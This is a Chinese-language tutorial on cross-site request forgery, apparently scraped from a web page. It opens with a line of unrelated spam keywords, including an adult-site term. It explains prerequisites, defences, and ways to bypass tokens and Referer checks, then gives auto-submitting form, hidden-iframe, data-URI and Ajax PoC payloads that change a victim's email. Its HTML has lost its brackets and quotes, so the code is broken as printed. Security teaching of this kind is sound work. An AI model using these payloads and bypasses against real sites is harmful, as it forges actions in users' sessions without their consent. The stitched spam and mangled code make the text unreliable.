男男做暧暧视频网站,ftp地址格式怎么写,杭州app开发公司都集中在哪里,销售网站CSRF跨站请求伪造漏洞 1.CSRF漏洞概述2.防御CSRF攻击3.CSRF防御绕过CSRF令牌未绑定到用户会话自定义标头令牌绕过绕过Referer检查关键词绕过 4.利用示例使用HTML标签进行GET表单 GET 请求表单POST请求通过 iframe 发送表单 POST 请求Ajax POST 请求 5.CSRF BP 验证方法6.CSRF测… CSRF跨站请求伪造漏洞 1.CSRF漏洞概述2.防御CSRF攻击3.CSRF防御绕过CSRF令牌未绑定到用户会话自定义标头令牌绕过绕过Referer检查关键词绕过 4.利用示例使用HTML标签进行GET表单 GET 请求表单POST请求通过 iframe 发送表单 POST 请求Ajax POST 请求 5.CSRF BP 验证方法6.CSRF测试工具 1.CSRF漏洞概述
CSRF跨站请求伪造是一种攻击手段攻击者通过伪装成受信任用户向受信任网站发送未经授权的请求从而在用户不知情的情况下执行一些操作。简而言之CSRF利用了用户的身份认证和信任来对网站进行未授权的操作。
1、CSRF攻击的先决条件
要利用CSRF漏洞必须满足几个条件
识别有价值的操作攻击者需要找到值得利用的操作例如更改用户的密码、电子邮件或提升权限。会话管理用户的会话应仅通过cookie或HTTP基本身份验证标头管理因为其他标头无法用于此目的进行操作。无法预测的参数请求不应包含无法预测的参数因为这些参数可能会阻止攻击。
2、具体的攻击流程如下
用户正常登录web服务并一直保持在线服务器返回用户凭证Session 并将其保存在Cookie中攻击者生成payload并放置在用户可访问的地方攻击者诱导用户点击在第3步放置的链接此时用户一直在线且是用同一浏览器打开保证Cookie未失效用户点击恶意链接恶意链接向服务器请求由于用户Cookie未失效就携带用户Cookie访问服务器服务器收到请求此时用户Cookie 未失效并判定为“用户”发起的正常请求并做出响应 2.防御CSRF攻击
可以实施几种对抗措施来防御CSRF攻击
SameSite cookies此属性可防止浏览器将cookie与跨站请求一起发送跨域资源共享受害站点的CORS策略可能会影响攻击的可行性用户验证提示用户输入密码或验证码Referer Check验证这些标头可以帮助确保请求来自受信任的来源。但是精心构造URL可能会绕过实施不良的检查修改参数名称更改POST或GET请求中的参数名称可以帮助防止自动化攻击CSRF令牌在每个会话中加入唯一的CSRF令牌并要求在后续请求中使用此令牌可以显著减轻CSRF的风险Anti CSRF Token由于Token的存在攻击者无法再构造出一个完整的URL实施CSRF攻击。 3.CSRF防御绕过
CSRF令牌未绑定到用户会话
应用程序未将CSRF令牌绑定到用户会话会带来重大的安全风险。这些系统会对全局池中的令牌进行验证而不是确保每个令牌都绑定到发起会话。
以下是攻击者如何利用这一点的方法
使用自己的帐户进行身份验证。从全局池中获取有效的CSRF令牌。使用此令牌对受害者进行CSRF攻击。
自定义标头令牌绕过
如果请求在请求中添加了一个带有令牌的自定义标头作为CSRF保护方法那么
在没有自定义令牌和标头的情况下测试请求。使用完全相同长度但不同令牌测试请求。
绕过Referer检查
应用程序可能仅在存在时验证 ‘Referer’ 头部。为了防止浏览器发送此头部可以使用以下HTML meta标签
meta namereferrer contentnever这会确保省略 ‘Referer’ 标头可能绕过某些应用程序中的验证检查。 还可以使用a标签的一个属性ref
a hrefxxx refnoreferrerTEST/a还可以利用其他的协议比如data:、file:等
iframe srcdata:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2QPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg如果目标是http的站点那么将poc放到https的站点上从https的站点跳转到http的站点也是不带有referer的
关键词绕过
查看是否必须存在指定的关键词如必须存在abc.com那么我们只需要使用xxx.com/poc.html?abc.com即可绕过?也可以换成其他的一些符号只要不影响html解析就行比如# 4.利用示例
使用HTML标签进行GET
可以用来自动发送GET请求的HTML5标签有
iframe src.../iframe
script src.../script
img src... alt
embed src...
audio src...
video src...
source src... type...
video poster...
link relstylesheet href...
object data...
body background...
div stylebackground: url(...);/div
style
body { background: url(...); }
/style
bgsound src...
track src... kindsubtitles
input typeimage src... altSubmit Button表单 GET 请求
html!-- CSRF PoC - generated by Burp Suite Professional --bodyscripthistory.pushState(, , /)/scriptform methodGET actionhttps://victim.net/email/change-emailinput typehidden nameemail valuesomeemail.com /input typesubmit valueSubmit request //formscriptdocument.forms[0].submit();/script/body
/html表单POST请求
htmlbodyscripthistory.pushState(, , /)/scriptform methodPOST actionhttps://victim.net/email/change-email idcsrfforminput typehidden nameemail valuesomeemail.com autofocus onfocuscsrfform.submit(); / !-- Way 1 to autosubmit --input typesubmit valueSubmit request /img srcx onerrorcsrfform.submit(); / !-- Way 2 to autosubmit --/formscriptdocument.forms[0].submit(); //Way 3 to autosubmit/script/body
/html通过 iframe 发送表单 POST 请求
htmlbodyiframe styledisplay:none namecsrfframe/iframeform methodPOST action/change-email idcsrfform targetcsrfframeinput typehidden nameemail valuesomeemail.com autofocus onfocuscsrfform.submit(); /input typesubmit valueSubmit request //formscriptdocument.forms[0].submit();/script/body
/htmlAjax POST 请求
scriptvar xh;if (window.XMLHttpRequest){// code for IE7, Firefox, Chrome, Opera, Safarixhnew XMLHttpRequest();}else{// code for IE6, IE5xhnew ActiveXObject(Microsoft.XMLHTTP);}xh.withCredentials true;xh.open(POST,http://challenge01.root-me.org/web-client/ch22/?actionprofile);xh.setRequestHeader(Content-type, application/x-www-form-urlencoded); //to send proper header info (optional, but good to have as it may sometimes not work without this)xh.send(usernameabcdstatuson);
/scriptscript//JQuery version$.ajax({type: POST,url: https://google.com,data: paramvalueparam2value2})
/script5.CSRF BP 验证方法
非JSON传参的情况下使用burp可以快速生成POC
1、右键请求包选择Generate CSRF PoC 2、修改参数之后可以通过BP的内置浏览器进行测试 3、访问BP生成的地址测试CSRF漏洞 6.CSRF测试工具
https://github.com/0xInfection/XSRFProbe